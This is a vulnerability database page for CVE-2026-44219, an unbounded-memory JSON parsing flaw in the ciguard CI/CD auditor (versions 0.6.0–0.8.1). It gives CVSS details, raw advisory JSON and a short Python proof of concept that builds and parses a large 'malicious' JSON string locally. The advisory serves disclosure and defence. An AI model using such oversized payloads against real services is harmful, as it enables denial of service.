Security Vulnerability Report
中文
CVE-2026-44219 CVSS 3.7 LOW

CVE-2026-44219

Published: 2026-05-12 20:16:43
Last Modified: 2026-05-12 20:16:43

Description

ciguard is a static security auditor for CI/CD pipelines. From 0.6.0 to 0.8.1, both SCA HTTP clients (src/ciguard/analyzer/sca/osv.py and src/ciguard/analyzer/sca/endoflife.py) call payload = json.loads(resp.read().decode('utf-8')) without a maximum-bytes cap. A hostile or compromised endoflife.date / OSV.dev (or a successful TLS MITM) could return a multi-GB response, exhausting the ciguard process's memory. This vulnerability is fixed in 0.8.2.

CVSS Details

CVSS Score
3.7
Severity
LOW
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L

Configurations (Affected Products)

No configuration data available.

ciguard 0.6.0
ciguard 0.8.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import json # Proof of Concept (PoC) simulation for CVE-2026-44219 # This script simulates the vulnerable behavior where the application # attempts to load a massive JSON payload without size limits. def simulate_vulnerable_parse(malicious_json_string): try: print("Attempting to parse payload...") # This mimics the vulnerable code: json.loads(resp.read().decode('utf-8')) # without a max-bytes cap. data = json.loads(malicious_json_string) print("Parsing successful.") except MemoryError: print("[!] MemoryError: System memory exhausted.") except Exception as e: print(f"[!] Error during parsing: {e}") if __name__ == "__main__": # Simulate a multi-GB response (here represented by a large string for demonstration) # In a real attack, this would be several gigabytes in size. large_size = 1024 * 1024 * 100 # Simulating 100MB for local testing safety print(f"Generating malicious payload of size: {large_size} bytes...") # Create a large JSON structure: {"data": "AAAAA...."} malicious_payload = '{"data": "' + ('A' * large_size) + '"}' simulate_vulnerable_parse(malicious_payload)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-44219", "sourceIdentifier": "[email protected]", "published": "2026-05-12T20:16:42.767", "lastModified": "2026-05-12T20:16:42.767", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "ciguard is a static security auditor for CI/CD pipelines. From 0.6.0 to 0.8.1, both SCA HTTP clients (src/ciguard/analyzer/sca/osv.py and src/ciguard/analyzer/sca/endoflife.py) call payload = json.loads(resp.read().decode('utf-8')) without a maximum-bytes cap. A hostile or compromised endoflife.date / OSV.dev (or a successful TLS MITM) could return a multi-GB response, exhausting the ciguard process's memory. This vulnerability is fixed in 0.8.2."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L", "baseScore": 3.7, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.2, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-770"}]}], "references": [{"url": "https://github.com/Jo-Jo98/ciguard/security/advisories/GHSA-xw8c-rrvx-f7xq", "source": "[email protected]"}]}}